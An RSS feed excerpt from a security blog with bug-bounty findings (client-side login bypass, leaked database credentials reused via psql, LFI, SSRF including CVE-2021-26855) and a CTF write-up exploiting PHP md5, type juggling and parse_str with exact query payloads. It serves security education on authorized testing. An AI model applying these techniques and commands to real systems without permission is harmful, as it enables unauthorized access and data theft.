&lt;h4 id=&#34;login-authentication-bypass-in-client-side-ui&#34;&gt;Login Authentication Bypass In Client Side UI&lt;/h4&gt;
&lt;p&gt;This was a really lame vulnerability that should not exist at all. All the authentication mechanism was implemented in the frontend using JavaScript and no checking was done on the backend whatsoever. Even a simple login request was not sent to the backend.&lt;/p&gt;
&lt;p&gt;When we visited the web application, the application asked for a password in a JavaScript prompt. However, if we just click &amp;ldquo;&lt;strong&gt;cancel&lt;/strong&gt;&amp;rdquo; in the JavaScript prompt, we get access to the user interface.&lt;/p&gt;
&lt;p&gt;In fact, the UI had the functionality to execute SQL statements and all of this was possible by just clicking &amp;ldquo;&lt;strong&gt;cancel&lt;/strong&gt;&amp;rdquo;.&lt;/p&gt;
&lt;h4 id=&#34;access-control-issue-allows-to-execute-sql-statements&#34;&gt;Access Control Issue Allows To Execute SQL Statements&lt;/h4&gt;
&lt;p&gt;This was the same UI that we talked about in the previous vulnerability. I felt like a normal user should not be able to access the UI to execute SQL statements. This was because the interface was at the &lt;code&gt;/admin&lt;/code&gt; endpoint and this endpoint was discovered from JavaScript files and there were not any links/references to this endpoint in the UI.&lt;/p&gt;
&lt;p&gt;I found this concerning so I reported this issue and they actually accepted it considering it valid.&lt;/p&gt;
&lt;h4 id=&#34;connectors-endpoints-leaking-database-connection-information&#34;&gt;/connectors endpoints leaking Database Connection Information&lt;/h4&gt;
&lt;p&gt;When doing directory brute force with the &lt;code&gt;raft-small-words.txt&lt;/code&gt; wordlist provided in the &lt;a href=&#34;https://github.com/danielmiessler/SecLists&#34;&gt;SecLists&lt;/a&gt;, I came across an endpoint called &lt;code&gt;/connectors&lt;/code&gt;. When visited, this endpoint listed the following connectors:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;jdbc_sink_auroradb&lt;/li&gt;
&lt;li&gt;local-file-sink&lt;/li&gt;
&lt;li&gt;mdb_sink_new&lt;/li&gt;
&lt;li&gt;s3_sink_sf_case_cdc1&lt;/li&gt;
&lt;li&gt;test-vk&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I then felt like these connectors should be accessible via URL. So, I visited the following URL: &lt;code&gt;http://[REDACTED]/connectors/jdbc_sink_auroradb&lt;/code&gt;. And the endpoint listed the PostgreSQL credentials. I checked for PostgreSQL instances on the network if there were any.&lt;/p&gt;
&lt;p&gt;To find PostgreSQL servers, I ran the following &lt;code&gt;masscan&lt;/code&gt; command:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo masscan -iL scope.txt -p &lt;span style=&#34;color:#ae81ff&#34;&gt;5432&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In the &lt;code&gt;masscan&lt;/code&gt; result, there were a couple of IPs. I used the credentials obtained from the &lt;code&gt;/connectors&lt;/code&gt; endpoint to log into these servers. And, the credentials actually worked!&lt;/p&gt;
&lt;p&gt;For logging in, I used the following command:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;psql -h &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;REDACTED&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt; -p &lt;span style=&#34;color:#ae81ff&#34;&gt;5432&lt;/span&gt; -U root postgres
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id=&#34;local-file-inclusion-in-downloadphp&#34;&gt;Local File Inclusion In download.php&lt;/h4&gt;
&lt;p&gt;I found the &lt;code&gt;download.php&lt;/code&gt; file being reported as an SSRF in the analytics. However, it was rejected. I then investigated a bit more and found out that the &lt;code&gt;download.php&lt;/code&gt; takes a GET parameter named &lt;code&gt;f&lt;/code&gt; and the value of &lt;code&gt;f&lt;/code&gt; is a file that will be retrieved by the PHP script. Upon investigating the LFI, I found out that the script had the following line in the source code:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-php&#34; data-lang=&#34;php&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;file_get_contents&lt;/span&gt;($_GET[&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;f&amp;#39;&lt;/span&gt;]);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;So, I just put &lt;code&gt;f=download.php&lt;/code&gt; to show the PoC.&lt;/p&gt;
&lt;h4 id=&#34;ssrf-allowing-to-access-internal-service&#34;&gt;SSRF Allowing To Access Internal Service&lt;/h4&gt;
&lt;p&gt;This was a vulnerability in Oracle Application Server 10g Mapviewer.&lt;/p&gt;
&lt;p&gt;For proof of concept, I performed a full port scan of the server to confirm that the &lt;code&gt;8002&lt;/code&gt; port was not exposed to the internet. I then put the URL &lt;code&gt;http://127.0.0.1:8002/mapviewer/omserver&lt;/code&gt; as the Mapviewer URL and submitted the request. The request succeeded and a response was received from the &lt;code&gt;8002&lt;/code&gt; port confirming the SSRF vulnerability.&lt;/p&gt;
&lt;p&gt;If we provided a port that was not open or did not serve HTTP, the response timed out.&lt;/p&gt;
&lt;h4 id=&#34;pre-auth-server-side-request-forgery&#34;&gt;Pre-auth Server Side Request Forgery&lt;/h4&gt;
&lt;p&gt;This was a &lt;code&gt;nuclei&lt;/code&gt; finding.&lt;/p&gt;
&lt;p&gt;This was however interesting because the same day, I was onboarded on two different programs from the same organization. One was an internal test meaning we had to test their internal network that is not reachable by the public. And the other was an external test that had public-facing IPs.&lt;/p&gt;
&lt;p&gt;One of such public-facing IPs was vulnerable to Microsoft Exchange&amp;rsquo;s CVE-2021-26855. This was a pre-auth SSRF and you can find the PoC on the internet.&lt;/p&gt;
&lt;p&gt;I could have reported this right away but I felt like I should fully exploit the impact of an SSRF. So, I took the list of IPs from the internal test and put them into the SSRF exploit to find out the HTTP servers.&lt;/p&gt;
&lt;p&gt;Synack&amp;rsquo;s VPN was not correctly configured and the internal IPs were not accessible by us. However, by exploiting this SSRF, I could reach those IPs as well.&lt;/p&gt;
&lt;p&gt;From this point, I did not go ahead to enumerate these IPs as post-exploitation is not allowed on Synack Red Team.&lt;/p&gt;
&lt;p&gt;Reported the issue and won the quality round.&lt;/p&gt;
&lt;p&gt;Thanks for the read. :)&lt;/p&gt;
&lt;p&gt;You can reach out to me at &lt;a href=&#34;https://twitter.com/kuldeepdotexe&#34;&gt;@kuldeepdotexe&lt;/a&gt;.&lt;/p&gt;
</content>
    </item>
    
    <item>
      <title>Prove Yourself as 1337 Null Ahmedabad</title>
      <link>https://kuldeep.io/posts/prove-yourself-as-1337-null-ahmedabad/</link>
      <pubDate>Sat, 15 Jan 2022 18:35:22 +0530</pubDate>
      
      <guid>https://kuldeep.io/posts/prove-yourself-as-1337-null-ahmedabad/</guid>
      <description>Null community is an open security community where pen-testers, bug bounty hunters, students, security researchers come under the same roof and exchange knowledge. One of its chapter in Ahmedabad had CTF this 22nd. They made the CTF online and I was a volunteer of the community so it was obvious I was going to participate in it.
It had 6 challenges in total. Two web challenges, one binary exploitation, one steganography, one crypto, and one steganography + cryptography combined.</description>
      <content>&lt;p&gt;Null community is an open security community where pen-testers, bug bounty hunters, students, security researchers come under the same roof and exchange knowledge. One of its chapter in Ahmedabad had CTF this 22nd. They made the CTF online and I was a volunteer of the community so it was obvious I was going to participate in it.&lt;/p&gt;
&lt;p&gt;It had 6 challenges in total. Two web challenges, one binary exploitation, one steganography, one crypto, and one steganography + cryptography combined.&lt;/p&gt;
&lt;p&gt;This writeup is about a web challenge named &amp;ldquo;Prove yourself as 1337&amp;rdquo;. It was of 550 points, the highest of all challenges in the CTF. And looking at the difficulty it had, I think that even 550 points are less.&lt;/p&gt;
&lt;p&gt;Initially, there was an URL which leads to a web application. Below is the initial description of the challenge. It was sure that brute-forcing the parameters isn&amp;rsquo;t going to work as it was written: &amp;ldquo;don&amp;rsquo;t waste time&amp;rdquo;.  Also, it was said that: &amp;ldquo;A variable can lead to source code of index.php if set&amp;rdquo;. So, it gave us a hint that the variable might be boolean.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://kuldeep.io/challenge.png&#34; alt=&#34;Challenge&#34;&gt;&lt;/p&gt;
&lt;p&gt;Now, as opening the URL gives, there was the following screen:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://kuldeep.io/webroot.png&#34; alt=&#34;webroot&#34;&gt;&lt;/p&gt;
&lt;p&gt;It took two inputs, one username, and password. I supplied 1337 and 1337 as username, password pair and I found a really interesting thing in the URL. So, two inputs were visible but it actually took 5 inputs out of which three were hidden.&lt;/p&gt;
&lt;p&gt;The URL was: &lt;a href=&#34;http://165.22.218.145/buggy/?username=1337&amp;amp;password=1337&amp;amp;random1=65616f96af8b27efd6c16f5249e58700&amp;amp;random2=7ec7e3cb456c9f07229df3fd1127ed42&amp;amp;source=0&#34;&gt;http://165.22.218.145/buggy/?username=1337&amp;amp;password=1337&amp;amp;random1=65616f96af8b27efd6c16f5249e58700&amp;amp;random2=7ec7e3cb456c9f07229df3fd1127ed42&amp;amp;source=0&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Here, username and password were as it were. random1 and random2 were some random hash like values. And then there was a parameter named &amp;ldquo;source&amp;rdquo; and it was set to 0. I quickly figured out that this has something to do with the source code. I remembered the challenge description and it said, &amp;ldquo;A variable can lead to source code of index.php if set&amp;rdquo; so now I knew that I need to &amp;ldquo;set&amp;rdquo; this variable. I changed the value of it to 1 from 0 and it showed me the source code.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://kuldeep.io/source-code.png&#34; alt=&#34;Source Code&#34;&gt;&lt;/p&gt;
&lt;p&gt;I saw that there was a lot of md5 logic going on in the source code. I was wondering if this was a web challenge or a crypto challenge.&lt;/p&gt;
&lt;p&gt;The flags were coming from some other PHP script called as &amp;ldquo;flag.php&amp;rdquo;. I tried accessing it directly but no luck! There were three flags in total which; when concatenated, forms one final flag. Each of these individual flags had some conditions behind them. Which means the flag will be concatenated only if the condition falls true. There were three different conditions.&lt;/p&gt;
&lt;h3 id=&#34;condition-1&#34;&gt;Condition #1&lt;/h3&gt;
&lt;p&gt;&lt;img src=&#34;https://kuldeep.io/condition-1.png&#34; alt=&#34;Condition 1&#34;&gt;&lt;/p&gt;
&lt;p&gt;In this, flag1 was concatenated to final_flag only if random1 and random2 variables were not identical but the hash of random1 variable concatenated with some secret variable called salt was identical to the hash of random2 variable concatenated with the salt. But one of the aims of hashes says that &amp;ldquo;Two different values must not produce the same hash&amp;rdquo;. So, looks like we are stuck here, or are we? However, here is an attack called hash collision attack which I quickly remembered in which two different values produce the exact same hash. I googled a lot to find such strings and I actually found them. But they were in binary format and we cannot pass it in the query string. I spent hours and hours searching for such strings but no luck.&lt;/p&gt;
&lt;p&gt;Then the other web challenge clicked in my head which was exploiting the type conversion of PHP(but not type juggling). Type conversion fails and gives a warning when supplying the incompatible type and did not throw and error. I checked in the PHP documentation of md5() and saw it takes a string as an input. Then I wondered what if I supply array as an input to the function like I did in the previous challenge. I changed &lt;code&gt;random1=65616f96af8b27efd6c16f5249e58700 and random2=7ec7e3cb456c9f07229df3fd1127ed42&lt;/code&gt; to &lt;code&gt;random1[]=65616f96af8b27efd6c16f5249e58700 and random2[]=7ec7e3cb456c9f07229df3fd1127ed42&lt;/code&gt; and the application threw the first part of the flag.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://kuldeep.io/flag-1.png&#34; alt=&#34;Flag 1&#34;&gt;&lt;/p&gt;
&lt;h3 id=&#34;condition-2&#34;&gt;Condition #2&lt;/h3&gt;
&lt;p&gt;&lt;img src=&#34;https://kuldeep.io/condition-2.png&#34; alt=&#34;Condition 2&#34;&gt;&lt;/p&gt;
&lt;p&gt;Here, the first condition satisfies if both username and password are not empty. Then, username and password are concatenated and stored in a string called concat. Now, the second condition satisfies if the md5 hash of the concatenated string was equal to the string itself. But how is this even possible? We have learned that hash(string) ≠ string. But here, another PHP specific vulnerability lies here. And that was, yes as you have already guessed it, &amp;ldquo;Type Juggling&amp;rdquo;. Type juggling was introduced as a feature of PHP but turned out to be a critical authentication vulnerability. It means, type of variable is decided upon the context it is used in. Which means, if (&amp;ldquo;0e001234&amp;rdquo;==&amp;ldquo;0&amp;rdquo;) {} will return true even if they are not the exact same values.&lt;/p&gt;
&lt;p&gt;So, I needed to find such a value that it&amp;rsquo;s hash&amp;rsquo;s first one-digit are the same as the value&amp;rsquo;s first digit in order to make the condition true. It was a difficult process to do it all manually so I created a simple python script and ran it which eventually crashed my computer. I googled a lot to find such strings but could not find anything. I was out of luck. Then I decided to take a hint from the CTF platform which cost me 150 points but in turn returned me a &amp;ldquo;working&amp;rdquo; script which did not crash my computer. I ran it and in like 10 minutes, the number was there!!!&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;username=0e2159&amp;amp;password=62017&amp;amp;random1[]=65616f96af8b27efd6c16f5249e58700&amp;amp;random2[]=7ec7e3cb456c9f07229df3fd1127ed42&amp;amp;source=1
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;I put half of the number in username variable and the other half in password variable as they both were concatenated. And boom! Got the second part of the flag!&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://kuldeep.io/flag-2.png&#34; alt=&#34;Flag 2&#34;&gt;&lt;/p&gt;
&lt;h3 id=&#34;condition-3&#34;&gt;Condition #3&lt;/h3&gt;
&lt;p&gt;&lt;img src=&#34;https://kuldeep.io/condition-3.png&#34; alt=&#34;Condition 3&#34;&gt;&lt;/p&gt;
&lt;p&gt;First of all, here is a call to the &lt;code&gt;parse_str()&lt;/code&gt; function which parses query string into an array called as res. I could not think of anything in this part of the challenge. I scratched my head for hours. Then I looked up for vulnerabilities in &lt;code&gt;parse_str()&lt;/code&gt; function as the last attempt. And it actually had a vulnerability. So, we can overwrite any already existing variable by passing it in a query string which was later parsed by &lt;code&gt;parse_str()&lt;/code&gt;. So, I supplied  the hash given in the source code as the value of the hashed variable using the query string:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;username=0e2159&amp;amp;password=62017&amp;amp;random1[]=65616f96af8b27efd6c16f5249e58700&amp;amp;random2[]=7ec7e3cb456c9f07229df3fd1127ed42&amp;amp;source=1&amp;amp;hashed=ba6e12df1edab45f11f70b547dba9959
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;And, finally, after hours of hard work, the flag was there!!!&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://kuldeep.io/flag-3.png&#34; alt=&#34;Flag 3&#34;&gt;&lt;/p&gt;
&lt;p&gt;It was a really fun challenge to solve. Kudos to everyone who made this CTF possible.&lt;/p&gt;
</content>
    </item>
    
  </channel>
</rss>
